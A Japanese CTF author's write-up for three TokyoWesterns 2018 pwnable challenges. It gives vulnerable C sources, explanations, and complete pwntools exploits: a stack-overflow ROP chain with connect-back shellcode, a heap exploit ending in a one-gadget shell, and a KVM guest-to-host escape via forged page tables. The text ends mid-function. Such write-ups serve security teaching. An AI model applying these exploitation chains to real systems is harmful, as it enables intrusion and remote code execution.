TokyoWesterns CTF 4th 2018 Pwnable 作問 (load, BBQ, EscapeMe)
TokyoWesterns CTF,なんとか今年も無事に開催できました.
実は運営ではいろいろと炎上していたのですが,それは置いておいて私が作問した3問について軽く解説をしていきます.
load (Pwnable 208)
host : pwn1.chal.ctf.westerns.tokyo
port : 34835
load
warmup として出したのですが,初心者向けではなかったですね
すみません...
ソースコード
// gcc -Wl,-z,relro,-z,now -fno-stack-protector load.c -o load && strip load #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define BUF_SIZE 32 void initialize(void); void finalize(void); void load(char *buf, char *fname, off_t offset, size_t size); void getnline(char *buf, int size); int getint(void); char fname[0x80]; int main(void){ char buf[BUF_SIZE]; off_t offset; size_t size; initialize(); __printf_chk(1, "Load file Service\nInput file name: "); getnline(fname, sizeof(fname)); __printf_chk(1, "Input offset: "); offset = getint(); __printf_chk(1, "Input size: "); size = getint(); load(buf, fname, offset, size); finalize(); return 0; } void initialize(void){ setbuf(stdin, NULL); setbuf(stdout, NULL); } void finalize(void){ close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); } void load(char *buf, char *fname, off_t offset, size_t size){ int fd; if((fd = open(fname, O_RDONLY)) == -1){ puts("You can't read this file..."); return; } lseek(fd, offset, SEEK_SET); if(read(fd, buf, size) > 0) puts("Load file complete!"); close(fd); } void getnline(char *buf, int size){ char *lf; if(size < 0) return; fgets(buf, size, stdin); if((lf=strchr(buf,'\n'))) *lf='\0'; } int getint(void){ char buf[BUF_SIZE]; buf[0] = 0x00; getnline(buf, sizeof(buf)); return atoi(buf); }
解説 および 解法
任意のファイルを開いて,メモリ上にロードすることのできるプログラムです.
スタックは32バイトしか確保していないにもかかわらず,そこに指定したサイズだけ読み込むためスタックバッファオーバーフローが発生します.
また,Canaryも無効にしているため ROP に繋げられそうです.
ただし,これが発火するのは 標準入出力およびエラー出力が切られた後なので,単純に flag.txt を読み込んで出力することはできなさそうです.
ROPをするにあたって,こちらの入力をメモリ上に展開しないことには何もできません.
ですので,読み込むファイルとしては /proc/self/fd/0
あたりを指定してやれば良いでしょう.
ROPができるようになったら,ファイルを読み込んでこちら側に表示させることを目指します.
先にも述べたように,出力周りはすべて閉じられてしまっているため,サーバ側から改めて手前側に接続をしてやる必要があります.
ソケット系の関数は用意されていないので,シェルコードでそれを実現します.
どのようにしてシェルコード実行まで持っていくかというと,結論としては /proc/self/mem
を利用します.
このファイルを利用すると,writableでないページに対しても書き込むことが可能になります.
executableなページにシェルコードを書き込み,実行を移せば目標は達成です.
ただし,残念なことに write 関数が plt の中にないため,開いた fd を指定して書き込むことができません.
その代わり,出力系の関数としては puts や printf があるため,/proc/self/map
を fd==1
で開いてやれば stdout の先として出力されそうです.
さすがに ASLR は有効なので,スタックに置いたデータを出力してテキスト領域に書き込むのは難しそうです.
ファイル名は固定アドレスに書き込まれるので,はじめの入力時にシェルコードも与えればよいでしょう.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './load' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'pwn1.chal.ctf.westerns.tokyo', 'port':34835}) env.set_item('local', debug = {'host':'localhost', 'port':4296}, \ local = {'host':'localhost', 'port':4296}, \ remote = {'host':'localhost', 'port':4296}) env.select() #========== binf = ELF(bin_file) addr_bss = binf.sep_section['.bss'] addr_fname = addr_bss + 0x20 addr_buf = addr_bss + 0x100 addr_plt_open = binf.plt['open'] addr_plt_printf = binf.plt['__printf_chk'] addr_got_lseek = binf.got['lseek'] addr_csu_init = 0x00400a10 addr_csu_init_1 = addr_csu_init + 0x5a addr_csu_init_2 = addr_csu_init + 0x40 addr_ret = 0x004006a9 addr_pop_rdi = 0x00400a73 addr_pop_rsi_r15 = 0x00400a71 addr_shellcode = 0x00400b00 #========== def attack(conn, pconn): shellcode2 = shellcraft.dup2(2, 0) shellcode2 += shellcraft.dup2(2, 1) shellcode2 += shellcraft.sh() shellcode2 = '\x01'+asm(shellcode2) shellcode = shellcraft.connect(env.local['host'], env.local['port']) shellcode += shellcraft.read(2, addr_buf, len(shellcode2)) shellcode += shellcraft.write(1, addr_buf, None) fname = '/proc/self/fd/0\x00' fname += '/proc/self/mem\x00' fname += asm(shellcode) conn.sendlineafter('name: ', fname) conn.sendlineafter('offset: ', '0') exploit = 'a'*0x30 exploit += p64(0xdeadbeef) exploit += p64(addr_pop_rdi) exploit += p64(addr_fname + 0x10) exploit += p64(addr_pop_rsi_r15) exploit += p64(1) exploit += p64(0xcafebabe) exploit += p64(addr_plt_open) exploit += p64(addr_plt_open) exploit += p64(addr_csu_init_1) exploit += p64(0) exploit += p64(1) exploit += p64(addr_got_lseek) exploit += p64(0) exploit += p64(addr_shellcode) exploit += p64(1) exploit += p64(addr_csu_init_2) exploit += p64(0xcafebabe)*7 exploit += p64(addr_pop_rdi) exploit += p64(1) exploit += p64(addr_pop_rsi_r15) exploit += p64(addr_fname + 0x1f) exploit += p64(0xcafebabe) exploit += p64(addr_plt_printf) exploit += p64(addr_shellcode) conn.sendlineafter('size: ', str(len(exploit))) conn.send(exploit) pconn.wait_for_connection() pconn.send(shellcode2) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) pcon = listen(4296) attack(conn, pcon) pcon.interactive() #==========
実行結果です
~/CTF/TWCTF/2018/load$ ./exploit_load.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/TWCTF/2018/load/load' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled [+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 34835: Done [+] Trying to bind to 0.0.0.0 on port 4296: Done [+] Waiting for connections on 0.0.0.0:4296: Got connection from 127.0.0.1 on port 33970 [*] Switching to interactive mode $ ls -al total 36 drwxr-x--- 2 root load 4096 Aug 29 00:32 . drwxr-xr-x 15 root root 4096 Sep 2 17:03 .. -rw-r----- 1 root load 220 Aug 31 2015 .bash_logout -rw-r----- 1 root load 3771 Aug 31 2015 .bashrc -rw-r----- 1 root load 655 May 16 2017 .profile -rw-r----- 1 root load 33 Aug 28 10:10 flag.txt -rwxr-x--- 1 root load 6136 Aug 28 10:10 load -rwxr-x--- 1 root load 53 Aug 29 00:29 run.sh $ cat flag.txt TWCTF{pr0cf5_15_h1ghly_fl3x1bl3}
BBQ (Pwnable 447+90)
host : pwn1.chal.ctf.westerns.tokyo
port : 21638
Update(2018/09/02 11:55:00 UTC)
BBQ
BBQ.old
libc-2.23.so
やっちまったで賞,受賞不可避
サーバで動作してる本番バイナリよりも古いものを間違えて配布してしまった...
これに時間を費やした方が居たら申し訳ない
ソースコード
// gcc -Wl,-z,relro,-z,now -fPIE -pie BBQ.c -o BBQ && strip BBQ #include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF_SIZE 0x40 #define LIMIT_GRILL 8 #define MAGIC_COOKING 0xdeadbeef11 #define MAGIC_CHARCOAL 0x0badf00d22 #define MAGIC_EATEN 0xcafebabe33 struct stock { struct stock *next; unsigned amount; char *name; } *stock_top = NULL; struct cook { struct stock *food; unsigned progress; long magic; } *cooking[6]; void initialize(void); int menu(void); void buy(void); void grill(void); void eat(void); void add_stock(char *name, int n); void list_stock(void); void list_cooking(void); void progress_grill(void); void getnline(char *buf, int size); int getint(void); int main(void){ unsigned long select; initialize(); puts("Today is BBQ Party!"); while(1){ progress_grill(); select = menu(); switch(select % 0x10){ case 1: buy(); break; case 2: grill(); break; case 3: eat(); break; case 0: goto end; default: puts("Wrong input."); } } end: puts("Bye!"); return 0; } void initialize(void){ setbuf(stdin, NULL); setbuf(stdout, NULL); add_stock("Beef", 1); } int menu(void){ printf( "\n" "1. Buy\n" "2. Grill\n" "3. Eat\n" "0. Break up\n" "Choice: "); return getint(); } void buy(void){ int n; char buf[BUF_SIZE]; list_stock(); printf("food name >> "); getnline(buf, sizeof(buf)); printf("amount >> "); n = getint(); add_stock(buf, n); } void grill(void){ struct stock *s; struct cook *c; int idx; char buf[BUF_SIZE]; list_stock(); list_cooking(); printf("which food >> "); getnline(buf, sizeof(buf)); for(s = stock_top; s; s = s->next) { if(s->name && !strcmp(buf, s->name)) break; } if(!s || s->amount<1){ puts("Not found..."); return; } printf("griddle index >> "); idx = getint(); if(idx < 0 || idx >= sizeof(cooking)/sizeof(struct cook*)){ puts("There is no griddle!"); return; } if(cooking[idx]){ puts("now cooking..."); return; } c = (struct cook*)malloc(sizeof(struct cook)); c->food = s; s->amount--; c->magic = MAGIC_COOKING; c->progress = 0; cooking[idx] = c; } void eat(void){ int idx; struct cook *c; char _[0x10]; list_cooking(); printf("griddle index >> "); idx = getint(); if(idx < 0 || idx >= sizeof(cooking)/sizeof(struct cook*)){ puts("There is no griddle!"); return; } if(cooking[idx]){ c = cooking[idx]; puts("found food."); } else puts("empty..."); if(!c) return; switch(c->magic){ case MAGIC_COOKING: c->magic = MAGIC_EATEN; free(c); puts("Yummy!"); cooking[idx] = NULL; break; case MAGIC_CHARCOAL: puts("I don't want to eat charcoal..."); break; } } void add_stock(char *name, int n){ struct stock *p; if(n < 1){ puts("b.u..y...???"); return; } for(p = stock_top; p; p = p->next) { if(p->name && !strcmp(name, p->name)) break; } if(!p){ p = (struct stock*)malloc(sizeof(struct stock)); if(!p) exit(1); p->name = strdup(name); p->amount = 0; p->next = stock_top; stock_top = p; } p->amount += n; } void list_stock(void){ struct stock *p; puts("\nFood Stock List"); for(p = stock_top; p; p = p->next) printf("* %s (%u)\n", p->name, p->amount); } void list_cooking(void){ int i; puts("\nCooking List"); for(i = 0; i < sizeof(cooking)/sizeof(struct cook*); i++) printf("[%02d] %s\n", i, cooking[i] ? cooking[i]->magic == MAGIC_COOKING ? cooking[i]->food->name : "<CHARCOAL>" : "<FREE>"); } void progress_grill(void){ int i; for(i = 0; i < sizeof(cooking)/sizeof(struct cook*); i++){ struct cook *c = cooking[i]; if(c && ++c->progress == LIMIT_GRILL) c->magic = MAGIC_CHARCOAL; } } void getnline(char *buf, int size){ char *lf; if(size < 0) return; fgets(buf, size, stdin); if((lf=strchr(buf,'\n'))) *lf='\0'; } int getint(void){ char buf[BUF_SIZE]; buf[0] = 0x00; getnline(buf, sizeof(buf)); return atoi(buf); }
肉を焼きます
古いバイナリには There is no griddle!
の OOB check が存在していませんでした.
解き方は多分変わらないんですけどね.
解説 および 解法
eat関数には未初期化バグが存在します.
struct cook *c; if(cooking[idx]){ c = cooking[idx]; puts("found food."); } else puts("empty..."); if(!c) return; switch(c->magic){ case MAGIC_COOKING: c->magic = MAGIC_EATEN; free(c);
struct cookのポインタの配列が存在しないインデックスを指定したとしても,スタック上に何らかのポインタが残っていれば,if文でのreturnは行われず,そのままswitch文に処理が流れます. したがって,うまいことmagicの位置に適切な値が入っていればその領域を free することができます.
重複したチャンクを確保すれば,struct stock の name ポインタを改竄することで任意のアドレスに格納されている値を表示させることができます.
これを利用して,ヒープのリスト構造からヒープのアドレスと libc のアドレスを特定します.
libc内の environ を読み出すことで,stackのアドレスも特定する事ができます.
リターンアドレスを One-gadger-RCE に書き換えることによってシェルが奪取できます.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py import re bin_file = './BBQ' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'localhost', 'port':21638}) env.set_item('libc', debug = None, \ local = None, \ remote = None) env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #offset_libc_leave = 0x00042351 #========== def attack(conn): bbq = BBQ(conn) bbq.buy('Beef', 10) bbq.buy('A'*0x20, 1) bbq.buy('B'*0x10, 1) bbq.buy('X'*0x10+p64(0xdeadbeef11), 1) bbq.buy(p64(0xdeadbeef11), 0x91) bbq.grill('Beef', 0) bbq.grill('Beef', 1) bbq.grill('Beef', 2) bbq.eat(0) bbq.grill('_'*0x27) bbq.eat(0) # stock, _ = bbq.list() addr_heap_base = u(stock[1]) - 0x150 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) bbq.grill('_'*0x28+p64(addr_heap_base + 0x130)) bbq.eat(0) # cosolidate to top, malloc_consolidate stock, _ = bbq.list() addr_libc_mainarena = u(stock[1]) - 0x58 libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_environ = libc.symbols['environ'] #addr_libc_leave = libc.address + offset_libc_leave info('addr_libc_base = 0x{:08x}'.format(libc.address)) bbq.grill('Beef', 4) bbq.grill('Beef', 3) bbq.eat(4) bbq.buy(p64(addr_libc_environ), 1) stock, _ = bbq.list() addr_stack = u(stock[1]) - 0xf8 info('addr_stack = 0x{:08x}'.format(addr_stack)) # clean up bbq.buy('C'*0x40, 1) bbq.buy(p64(0xdeadbeef11), 0x1b1) bbq.grill('Beef', 4) bbq.grill('Beef', 5) bbq.buy('1'*0x10+p64(0xdeadbeef11), 1) # 1 bbq.buy('2'*0x10+p64(0xdeadbeef11), 1) # 2 bbq.buy('3'*0x10+p64(0xdeadbeef11), 1) # 3 bbq.buy('4'*0x10+p64(0xdeadbeef11), 1) # 4 bbq.eat(4) bbq.grill('Beef', 4) bbq.eat(5) bbq.grill('Beef', 5) bbq.buy('5'*0x10+p64(0xdeadbeef11), 1) # 5 bbq.grill('_'*0x28+p64(addr_heap_base + 0x1d0)) bbq.eat(0) # cosolidate to top bbq.eat(5) bbq.eat(4) bbq.buy(p64(0xdeadbeef11), 1) bbq.buy('X'*0x10+p64(addr_heap_base + 0x10), 1) free_chunk(bbq, addr_heap_base + 0x260) # 1 bbq.buy(p64(addr_heap_base + 0x10), 1) # any address free_chunk(bbq, addr_heap_base + 0x2a0) # 2 bbq.buy(p64(0xdeadbeef11), 1) # overwrap free_chunk(bbq, addr_heap_base + 0x210) free_chunk(bbq, addr_heap_base + 0x220) free_chunk(bbq, addr_heap_base + 0x2e0) # 3 bbq.buy(p64(0xdeadbeef11), 1) free_chunk(bbq, addr_heap_base + 0x320) # 4 free_chunk(bbq, addr_heap_base + 0x210) free_chunk(bbq, addr_heap_base + 0x360) # 5 bbq.buy(p64(addr_stack - 0x10), 1) bbq.grill('Beef', 4) conn.sendlineafter('Choice: ', str(0x21)) conn.sendlineafter('name >> ', p(-1) + p64(libc.address + 0xf1147)) conn.sendlineafter('amount >> ', str(1)) conn.sendlineafter('Choice: ', '0') def free_chunk(bbq, addr): bbq.grill('_'*0x28+p64(addr)) bbq.eat(0) class BBQ: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def buy(self, name, amount): self.sendlineafter('Choice: ', '1') if len(name) < 0x3f: name += '\n' self.sendafter('name >> ', name[:0x3f]) self.sendlineafter('amount >> ', str(amount)) def grill(self, name, index = None): self.sendlineafter('Choice: ', '2') if len(name) < 0x3f: name += '\n' self.sendafter('food >> ', name[:0x3f]) if index is not None: self.sendlineafter('index >> ', str(index)) def eat(self, index): self.sendlineafter('Choice: ', '3') self.sendlineafter('index >> ', str(index)) def list(self): self.sendlineafter('Choice: ', '2') self.recvuntil('Food Stock List\n') stock = re.findall('\* (.*) ', self.recvuntil('\n\nCooking List')) cook = re.findall('^\[[0-9]+\] (.*)\n', self.recvuntil('\nwhich food >> ')) self.sendline('') return stock, cook #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行結果です.
~/CTF/TWCTF/2018/BBQ$ ./exploit_bbq.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/TWCTF/2018/BBQ/BBQ' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 21638: Done [*] addr_heap_base = 0x5592f3328000 [*] addr_libc_base = 0x7f29dc36a000 [*] addr_stack = 0x7ffcf562d0b0 [*] Switching to interactive mode Bye! $ ls -al total 36 drwxr-x--- 2 root bbq 4096 Aug 28 10:10 . drwxr-xr-x 15 root root 4096 Sep 2 17:03 .. -rw-r----- 1 root bbq 220 Aug 31 2015 .bash_logout -rw-r----- 1 root bbq 3771 Aug 31 2015 .bashrc -rw-r----- 1 root bbq 655 May 16 2017 .profile -rwxr-x--- 1 root bbq 10232 Aug 28 10:10 BBQ -rw-r----- 1 root bbq 39 Aug 28 10:10 flag.txt $ cat flag.txt TWCTF{b3_5ur3_70_1n1714l1z3_v4r14bl35}
EscapeMe (Pwnable 240+300+300)
host : escapeme.chal.ctf.westerns.tokyo
port : 16359
EscapeMe.tar.gz
Update(2018-09-01 10:22 UTC):
$ uname -a
Linux pwnable-escapeme 4.15.0-1017-gcp #18-Ubuntu SMP Fri Aug 10 10:13:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
Update(2018-09-01 10:30 UTC):
Hint for flag2: check carefully how physical memory of kernel managed.
ソースコード
長すぎる(5,300行越え)ので,こちらを参照してください. github.com
解説 および 解法
この問題は,kvm を利用する VMM,,小さなカーネル,ユーザプログラムの3つからなるものです.
フラグも3つあり,それぞれ突破度合いに応じて得られます.
flag1
一つ目のフラグは,ユーザプログラムを突破して任意のシステムコールが呼べるようになることが条件です.
kernel.binを解析すると8つのシステムコールが提供されていることが分かります.
その中でも,4296番のシステムコールを呼び出すとユーザ空間にフラグが含まれるページがマッピングされます.
ユーザプログラムにはヒープオーバーフローのバグがあります.
edit機能では,メモの更新にその長さをstrlenを使って得ています.
したがって,次のチャンクのサイズの先頭ギリギリまで文字を埋めてやることで,editでチャンクサイズの改竄が可能になります.
自由にシステムコールを呼ぶために,シェルコードの実行を考えます.
一見NXが有効なELFのため,スタックやヒープに置いたシェルコードは実行できないように思われます.
しかしそれはlinux上で適切にロードした場合であり,本問題の kernel上ではその処理が適切に行われていません.
また,ASLRも存在しないため,ヒープやスタックのアドレスも毎回同じものになります.
したがって,ヒープ上にシェルコードを配置し,リターンアドレスを書き換えて処理を飛ばしてやれば良さそうです.
flag2
flag2.txt は同一ディレクトリに存在しているため,初めのmodulesを取り込む処理でこのファイルを指定しておきましょう.
kernelからは hc_load_module
を発行してVMMにモジュールのロードを依頼すれば良さそうです.
しかしこの処理はユーザからは自由に行うことはできません.
そこで,ring0を獲得することを考えます.
バグは,カーネルの物理メモリを管理する VMM 側とのやりとりに存在します.
カーネルが hc_malloc
もしくは hc_free
を呼び出すと,VMM側では palloc
および pfree
が呼び出されることになります.
このABIの利用について不一致が存在しています.
カーネル側はあたかも mmap や munmap のようにいずれもサイズを指定して,確保した領域の一部のみ解放のような処理を行います. しかし,VMM側の pfree はサイズは見ておらず,あたかも malloc に対する free のように指定された領域の解放を一気に行ってしまいます. これにより,kernel では物理メモリの UAF が起こります.
該当する物理メモリが再度利用された先がページテーブルの一部になるように調整を行います.
その結果,ユーザの入力がそのままページテーブルに反映されることになり,自由に物理メモリをユーザの領域にマッピングすることが可能になります.
システムコールハンドラの領域を上書きし,syscall
を呼んだ際に ring0 で自身の書いたコードが実行されるようにしましょう.
void switch_ring0(void){ void *addr; uint64_t *pd, *pt; puts("Try to switch ring0"); addr = mmap((void*)0x80000000, 0x3000, PROT_READ|PROT_WRITE, 0, -1, 0); munmap(addr, 0x1000); mmap((void*)0xc0000000, 0x1000, PROT_READ|PROT_WRITE, 0, -1, 0); pd = addr + 0x1000; pt = addr + 0x2000; for(int i = 0; i<2; i++) // pd[0] pt[i] = PDE64_PRESENT | PDE64_RW | PDE64_USER | (0x1000*i); for(int i = 0; i<3; i++) pd[8+i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (0x400000 + 0x200000*i); memcpy((void*)(0xc0000000 + OFST_SYS_HANDLER), &syscall_handler, 0x800); asm("syscall"); }
ring0になった状態で hc_load_moduleを発行し,モジュールとしてロードしたフラグを物理メモリ空間に貼りつければ,あとはそれを読み出すだけです.
flag3
flag3はファイル名が分からないため,モジュールとしてロードすることはできません. 今回はシェルを奪取する必要があるでしょう.
VM内の入出力は vmmcall で実装されていますが,この時のメモリに対するアクセス権限のチェックはVMM側で行われています.
ゲストの仮想アドレスからゲストの物理アドレスに変換を行うために,アクセスごとにページウォークを行います.
この時,ページテーブルのフラグから読み書きおよびユーザ・カーネルモードのチェックを行い,最終的に変換された物理アドレスが確保した範疇に収まっているか確認します.
しかし,この範囲チェックの処理は2MBページに対しては行われていないというバグが存在しています.
2MB ページはカーネルモード時にしか許可されていませんが,flag2 を獲得するときのように ring0 で実行していればこのバグを利用することができます.
uint64_t translate(struct vm *vm, uint64_t pml4_addr, uint64_t laddr, int write, int user){ uint16_t idx[] = { (laddr>>39) & 0x1ff, (laddr>>30) & 0x1ff, (laddr>>21) & 0x1ff, (laddr>>12) & 0x1ff }; uint64_t paddr = -1; uint64_t *pml4 = guest2host(vm, pml4_addr); uint64_t pdpt_addr = pml4[idx[0]] & ~0xfff; if(!CHK_PERMISSION(pml4[idx[0]])) goto end; uint64_t *pdpt = guest2host(vm, pdpt_addr); uint64_t pd_addr = pdpt[idx[1]] & ~0xfff; if(!CHK_PERMISSION(pdpt[idx[1]])) goto end; uint64_t *pd = guest2host(vm, pd_addr); uint64_t pt_addr = pd[idx[2]] & ~0xfff; if(!CHK_PERMISSION(pd[idx[2]])) goto end; if(pd[idx[2]] & PDE64_PS){ if(pd[idx[2]] & PDE64_USER) // user does not support hugepage goto end; paddr = pt_addr | (laddr&0x1fffff); goto end; // vuln } uint64_t *pt = guest2host(vm, pt_addr); if(!CHK_PERMISSION(pt[idx[3]])) goto end; paddr = (pt[idx[3]] & ~0xfff) | (laddr&0xfff); assert_addr(vm, paddr); end: return paddr; }
先程と同様にしてページテーブルを改竄し,始めに確保されているサイズよりも大きい物理アドレスを指定することで,read/writeのハイパーコールを利用してVM外のメモリを読み書きすることが可能になりました.
幸いにして(?) libc が VM のメモリの直下に確保されているため,ASLRに左右されること無く固定オフセットで libc 内のデータにアクセスできます.
main_arena から libc およびヒープのアドレスを特定し,free_hookにsystem関数を指定します.
ヒープはVMの物理ページの管理のみに利用されていますが,先程の方法で一部に /bin/sh
を書き込んでその領域を free することでシェルが起動します.
SECCOMPもありますが,あれはオマケ程度なので引数の数を0x100以上にして適当に突破してください.
Exploit
exploit.py
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py from os import chdir, path bin_file = './kvm.elf' args = 'kernel.bin memo-static.elf flag2.txt'.split()+['a']*0x100 context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file]+args, 'aslr':False}, \ local = {'argv':['./pow.py', 'hoge'], 'stderr':open('/dev/null', 'w+')}, \ remote = {'host':'localhost', 'port':16359}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.27.so') env.select() libcenv = Environment('old', 'new') libcenv.set_item('arena_top', old = 0x58, new = 0x60) #========== payload_elf = open('exploit.elf').read() chdir('./release') binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_freehook = libc.symbols['__free_hook'] offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 libc_name = path.basename(path.realpath(libc.path)) libcenv.select('new' if float(libc_name[5:5+4]) >= 2.27 else 'old') offset_mainarena_top = libcenv.arena_top vm_binf = ELF(args[1]) addr_vm_memo = vm_binf.symbols['memo'] addr_vm_heap = 0x605000 addr_vm_memo_buf = 0x7fff1ff000 addr_vm_stack = 0x7ffffffff0 #========== def attack(conn): if not env.check('debug'): if env.check('local'): conn.sendlineafter('\n', 'hoge') else: solve_pow(conn) conn.sendlineafter('> ', 'flag2.txt'+' a'*0x100) exploit_memo(conn, payload_elf, 0x150) flag1 = get_flag1(conn) success("flag1 : {}".format(flag1)) flag2 = get_flag2(conn) success("flag2 : {}".format(flag2)) get_shell(conn) def solve_pow(conn): import subprocess cmd = conn.recvuntil('\n', drop=True) info(cmd) ret = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True).communicate()[0].strip() success('hash : {}'.format(ret)) conn.sendline(ret) def get_flag1(conn): conn.recvuntil('first flag : ') return conn.recvuntil('\n') def get_flag2(conn): conn.recvuntil('ring0\n') return conn.recv(0x50).strip("\x00").split(' : ')[1] def get_shell(conn): conn.send(p64(offset_libc_mainarena)) conn.send(p64(offset_libc_freehook)) conn.send(p64(offset_mainarena_top)) addr_heap_top = u64(conn.recv(8)) info('addr_heap_top = 0x{:08x}'.format(addr_heap_top)) conn.recv(8) addr_libc_mainarena = u64(conn.recv(8)) - offset_mainarena_top libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_system = libc.sep_function['system'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_vmmem = libc.address - 0x400000 info('addr_vmmem = 0x{:08x}'.format(addr_vmmem)) conn.send(p64(addr_libc_system)) conn.send(p64(u(p((addr_heap_top - addr_vmmem) & ~0xfffff)) | 0x83)) conn.send(p64(((addr_heap_top - addr_vmmem) & 0xfffff) - 0x30)) conn.send('/bin/sh\x00') conn.interactive() def exploit_memo(conn, payload, ep): payload_size = 0x2000 shellcode2 = shellcraft.mmap_rwx(payload_size) shellcode2 += shellcraft.read(0, 'rax', payload_size) shellcode2 += ''' add rsi, {} jmp rsi '''.format(ep) shellcode2 = asm(shellcode2) shellcode1 = 'lea rsi, [rip]' shellcode1 += shellcraft.read(0, None, len(shellcode2)+0x10) shellcode1 = asm(shellcode1) memo = Memo(conn) memo.alloc('a'*0x28) # 0 memo.alloc('b') # 1 memo.alloc('c'*0x8+p64(0x31)+p64(addr_vm_memo_buf+0x10-8)+p64(addr_vm_memo_buf+0x10)) # 2 memo.alloc(p64(0x30)+p64(0x20)) # 3 memo.alloc(shellcode1) # 4 memo.alloc(p64(0xdeadbeef)+p64(0)+p64(addr_vm_stack-0x8)+p64(0)) # 5 memo.edit(0, 'A'*0x28+chr(0x41)) memo.delete(1) memo.alloc('b') # 1 memo.edit(2, p64(addr_vm_memo+1)[:len(p64(addr_vm_heap).rstrip('\x00'))]) sleep(0.1) memo.edit(1, p64(addr_vm_heap + 0x1100)[1:len(p64(addr_vm_memo_buf).rstrip('\x00'))]) sleep(0.1) memo.edit(2, p64(addr_vm_heap + 0x10e0)) sleep(0.1) conn.send('\x90'*0x10 + shellcode2) sleep(0.5) conn.send(payload) class Memo: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def alloc(self, data): self.sendlineafter('> ', '1') self.sendafter('memo > ', data) def edit(self, idx, data): self.sendlineafter('> ', '2') self.sendlineafter('id > ', str(idx)) self.sendafter('memo > ', data) def delete(self, idx): self.sendlineafter('> ', '3') self.sendlineafter('id > ', str(idx)) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) #==========
exploit.c
#include <stdio.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include "utils/hypercall.h" #include "utils/syscall.h" #define PDE64_PRESENT 1 #define PDE64_RW (1U << 1) #define PDE64_USER (1U << 2) #define PDE64_PS (1U << 7) void get_flag1(void); void get_flag2(void); void get_shell(void); void switch_ring0(void); void syscall_handler(void); int main(void){ get_flag1(); switch_ring0(); return 0; } void get_flag1(void){ char *flag; puts("Try to call sys_getflag"); syscall(flag, NR_getflag); if((long)flag < 0){ puts("failed to get flag."); return; } mprotect(flag, 0x1000, PROT_READ); puts(flag); munmap(flag, 0x1000); } void switch_ring0(void){ void *addr; uint64_t *pd, *pt; puts("Try to switch ring0"); addr = mmap((void*)0x80000000, 0x3000, PROT_READ|PROT_WRITE, 0, -1, 0); munmap(addr, 0x1000); mmap((void*)0xc0000000, 0x1000, PROT_READ|PROT_WRITE, 0, -1, 0); pd = addr + 0x1000; pt = addr + 0x2000; for(int i = 0; i<2; i++) // pd[0] pt[i] = PDE64_PRESENT | PDE64_RW | PDE64_USER | (0x1000*i); for(int i = 0; i<3; i++) pd[8+i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (0x400000 + 0x200000*i); memcpy((void*)(0xc0000000 + OFST_SYS_HANDLER), &syscall_handler, 0x800); asm("syscall"); } void syscall_handler(void){ get_flag2(); get_shell(); asm("hlt"); } void get_flag2(void){ char *flag; flag = hc_load_module(2, 0, 0, 0x1000); hc_write(flag + 0x8040000000, 0x50, 0); hc_free(flag); } void get_shell(void){ void *libc = (void*)0xc1000000; char *heap = (void*)0xc2000000; uint64_t *pd = (uint64_t*)(0x8040000000 + 0x2e000); // void 